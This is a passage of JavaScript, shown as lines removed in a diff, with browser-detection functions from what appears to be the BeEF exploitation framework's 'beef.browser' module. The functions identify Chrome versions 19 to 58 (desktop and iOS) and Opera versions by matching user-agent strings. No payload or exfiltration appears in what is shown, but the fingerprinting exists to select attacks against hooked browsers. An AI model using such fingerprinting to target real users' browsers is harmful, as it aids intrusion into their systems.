- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
- },
- /**
- * Returns true if Chrome 19.
- * @example: beef.browser.isC19()
- */
- isC19: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 19.
- * @example: beef.browser.isC19iOS()
- */
- isC19iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
- },
- /**
- * Returns true if Chrome 20.
- * @example: beef.browser.isC20()
- */
- isC20: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 20.
- * @example: beef.browser.isC20iOS()
- */
- isC20iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
- },
- /**
- * Returns true if Chrome 21.
- * @example: beef.browser.isC21()
- */
- isC21: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 21.
- * @example: beef.browser.isC21iOS()
- */
- isC21iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
- },
- /**
- * Returns true if Chrome 22.
- * @example: beef.browser.isC22()
- */
- isC22: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 22.
- * @example: beef.browser.isC22iOS()
- */
- isC22iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
- },
- /**
- * Returns true if Chrome 23.
- * @example: beef.browser.isC23()
- */
- isC23: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 23.
- * @example: beef.browser.isC23iOS()
- */
- isC23iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
- },
- /**
- * Returns true if Chrome 24.
- * @example: beef.browser.isC24()
- */
- isC24: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 24.
- * @example: beef.browser.isC24iOS()
- */
- isC24iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
- },
- /**
- * Returns true if Chrome 25.
- * @example: beef.browser.isC25()
- */
- isC25: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 25.
- * @example: beef.browser.isC25iOS()
- */
- isC25iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
- },
- /**
- * Returns true if Chrome 26.
- * @example: beef.browser.isC26()
- */
- isC26: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 26.
- * @example: beef.browser.isC26iOS()
- */
- isC26iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
- },
- /**
- * Returns true if Chrome 27.
- * @example: beef.browser.isC27()
- */
- isC27: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 27.
- * @example: beef.browser.isC27iOS()
- */
- isC27iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
- },
- /**
- * Returns true if Chrome 28.
- * @example: beef.browser.isC28()
- */
- isC28: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 28.
- * @example: beef.browser.isC28iOS()
- */
- isC28iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
- },
- /**
- * Returns true if Chrome 29.
- * @example: beef.browser.isC29()
- */
- isC29: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 29.
- * @example: beef.browser.isC29iOS()
- */
- isC29iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
- },
- /**
- * Returns true if Chrome 30.
- * @example: beef.browser.isC30()
- */
- isC30: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 30.
- * @example: beef.browser.isC30iOS()
- */
- isC30iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
- },
- /**
- * Returns true if Chrome 31.
- * @example: beef.browser.isC31()
- */
- isC31: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 31.
- * @example: beef.browser.isC31iOS()
- */
- isC31iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
- },
- /**
- * Returns true if Chrome 32.
- * @example: beef.browser.isC32()
- */
- isC32: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 32.
- * @example: beef.browser.isC32iOS()
- */
- isC32iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
- },
- /**
- * Returns true if Chrome 33.
- * @example: beef.browser.isC33()
- */
- isC33: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 33.
- * @example: beef.browser.isC33iOS()
- */
- isC33iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
- },
- /**
- * Returns true if Chrome 34.
- * @example: beef.browser.isC34()
- */
- isC34: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 34.
- * @example: beef.browser.isC34iOS()
- */
- isC34iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
- },
- /**
- * Returns true if Chrome 35.
- * @example: beef.browser.isC35()
- */
- isC35: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 35.
- * @example: beef.browser.isC35iOS()
- */
- isC35iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
- },
- /**
- * Returns true if Chrome 36.
- * @example: beef.browser.isC36()
- */
- isC36: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 36.
- * @example: beef.browser.isC36iOS()
- */
- isC36iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
- },
- /**
- * Returns true if Chrome 37.
- * @example: beef.browser.isC37()
- */
- isC37: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 37.
- * @example: beef.browser.isC37iOS()
- */
- isC37iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
- },
- /**
- * Returns true if Chrome 38.
- * @example: beef.browser.isC38()
- */
- isC38: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 38.
- * @example: beef.browser.isC38iOS()
- */
- isC38iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
- },
- /**
- * Returns true if Chrome 39.
- * @example: beef.browser.isC39()
- */
- isC39: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 39.
- * @example: beef.browser.isC39iOS()
- */
- isC39iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
- },
- /**
- * Returns true if Chrome 40.
- * @example: beef.browser.isC40()
- */
- isC40: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 40.
- * @example: beef.browser.isC40iOS()
- */
- isC40iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
- },
- /**
- * Returns true if Chrome 41.
- * @example: beef.browser.isC41()
- */
- isC41: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 41.
- * @example: beef.browser.isC41iOS()
- */
- isC41iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
- },
- /**
- * Returns true if Chrome 42.
- * @example: beef.browser.isC42()
- */
- isC42: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 42.
- * @example: beef.browser.isC42iOS()
- */
- isC42iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
- },
- /**
- * Returns true if Chrome 43.
- * @example: beef.browser.isC43()
- */
- isC43: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 43.
- * @example: beef.browser.isC43iOS()
- */
- isC43iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
- },
- /**
- * Returns true if Chrome 44.
- * @example: beef.browser.isC44()
- */
- isC44: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 44.
- * @example: beef.browser.isC44iOS()
- */
- isC44iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
- },
- /**
- * Returns true if Chrome 45.
- * @example: beef.browser.isC45()
- */
- isC45: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 45.
- * @example: beef.browser.isC45iOS()
- */
- isC45iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
- },
- /**
- * Returns true if Chrome 46.
- * @example: beef.browser.isC46()
- */
- isC46: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 46.
- * @example: beef.browser.isC46iOS()
- */
- isC46iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
- },
- /**
- * Returns true if Chrome 47.
- * @example: beef.browser.isC47()
- */
- isC47: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 47.
- * @example: beef.browser.isC47iOS()
- */
- isC47iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
- },
- /**
- * Returns true if Chrome 48.
- * @example: beef.browser.isC48()
- */
- isC48: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 48.
- * @example: beef.browser.isC48iOS()
- */
- isC48iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
- },
- /**
- * Returns true if Chrome 49.
- * @example: beef.browser.isC49()
- */
- isC49: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 49.
- * @example: beef.browser.isC49iOS()
- */
- isC49iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
- },
- /**
- * Returns true if Chrome 50.
- * @example: beef.browser.isC50()
- */
- isC50: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 50.
- * @example: beef.browser.isC50iOS()
- */
- isC50iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
- },
- /**
- * Returns true if Chrome 51.
- * @example: beef.browser.isC51()
- */
- isC51: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 51.
- * @example: beef.browser.isC51iOS()
- */
- isC51iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
- },
- /**
- * Returns true if Chrome 52.
- * @example: beef.browser.isC52()
- */
- isC52: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 52.
- * @example: beef.browser.isC52iOS()
- */
- isC52iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
- },
- /**
- * Returns true if Chrome 53.
- * @example: beef.browser.isC53()
- */
- isC53: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 53.
- * @example: beef.browser.isC53iOS()
- */
- isC53iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
- },
- /**
- * Returns true if Chrome 54.
- * @example: beef.browser.isC54()
- */
- isC54: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 54.
- * @example: beef.browser.isC54iOS()
- */
- isC54iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
- },
- /**
- * Returns true if Chrome 55.
- * @example: beef.browser.isC55()
- */
- isC55: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 55.
- * @example: beef.browser.isC55iOS()
- */
- isC55iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
- },
- /**
- * Returns true if Chrome 56.
- * @example: beef.browser.isC56()
- */
- isC56: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 56.
- * @example: beef.browser.isC56iOS()
- */
- isC56iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
- },
- /**
- * Returns true if Chrome 57.
- * @example: beef.browser.isC57()
- */
- isC57: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 57.
- * @example: beef.browser.isC57iOS()
- */
- isC57iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
- },
- /**
- * Returns true if Chrome 58.
- * @example: beef.browser.isC58()
- */
- isC58: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 58.
- * @example: beef.browser.isC58iOS()
- */
- isC58iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
- },
- /**
- * Returns true if Chrome.
- * @example: beef.browser.isC()
- */
- isC: function () {
- return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS();
- },
- /**
- * Returns true if Opera 9.50 through 9.52.
- * @example: beef.browser.isO9_52()
- */
- isO9_52: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
- },
- /**
- * Returns true if Opera 9.60 through 9.64.
- * @example: beef.browser.isO9_60()
- */
- isO9_60: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
- },
- /**
- * Returns true if Opera 10.xx.
- * @example: beef.browser.isO10()
- */
- isO10: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
- },
- /**
- * Returns true if Opera 11.xx.
- * @example: beef.browser.isO11()
- */
- isO11: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
- },
- /**
- * Returns true if Opera 12.xx.
- * @example: beef.browser.isO12()
- */
- isO12: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
- },
- /**
- * Returns true if Opera.
- * @example: beef.browser.isO()
- */
- isO: function () {
- return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
- },
- /**
- * Returns a hash of string keys representing a given capability
- * @example: beef.browser.capabilities()["navigator.plugins"]
- */
- capabilities: function () {
- var out = {};
- var type = this.type();
- out["navigator.plugins"] = (type.IE11 || !type.IE);
- return out;
- },
- /**
- * Returns the type of browser being used.
- * @example: beef.browser.type().IE6
- * @example: beef.browser.type().FF
- * @example: beef.browser.type().O
- */
- type: function () {
- return {
- C5: this.isC5(), // Chrome 5
- C6: this.isC6(), // Chrome 6
- C7: this.isC7(), // Chrome 7
- C8: this.isC8(), // Chrome 8
- C9: this.isC9(), // Chrome 9
- C10: this.isC10(), // Chrome 10
- C11: this.isC11(), // Chrome 11
- C12: this.isC12(), // Chrome 12
- C13: this.isC13(), // Chrome 13
- C14: this.isC14(), // Chrome 14
- C15: this.isC15(), // Chrome 15
- C16: this.isC16(), // Chrome 16
- C17: this.isC17(), // Chrome 17
- C18: this.isC18(), // Chrome 18
- C19: this.isC19(), // Chrome 19
- C19iOS: this.isC19iOS(), // Chrome 19 on iOS
- C20: this.isC20(), // Chrome 20
- C20iOS: this.isC20iOS(), // Chrome 20 on iOS
- C21: this.isC21(), // Chrome 21
- C21iOS: this.isC21iOS(), // Chrome 21 on iOS
- C22: this.isC22(), // Chrome 22
- C22iOS: this.isC22iOS(), // Chrome 22 on iOS
- C23: this.isC23(), // Chrome 23
- C23iOS: this.isC23iOS(), // Chrome 23 on iOS
- C24: this.isC24(), // Chrome 24
- C24iOS: this.isC24iOS(), // Chrome 24 on iOS
- C25: this.isC25(), // Chrome 25
- C25iOS: this.isC25iOS(), // Chrome 25 on iOS
- C26: this.isC26(), // Chrome 26
- C26iOS: this.isC26iOS(), // Chrome 26 on iOS
- C27: this.isC27(), // Chrome 27
- C27iOS: this.isC27iOS(), // Chrome 27 on iOS
- C28: this.isC28(), // Chrome 28
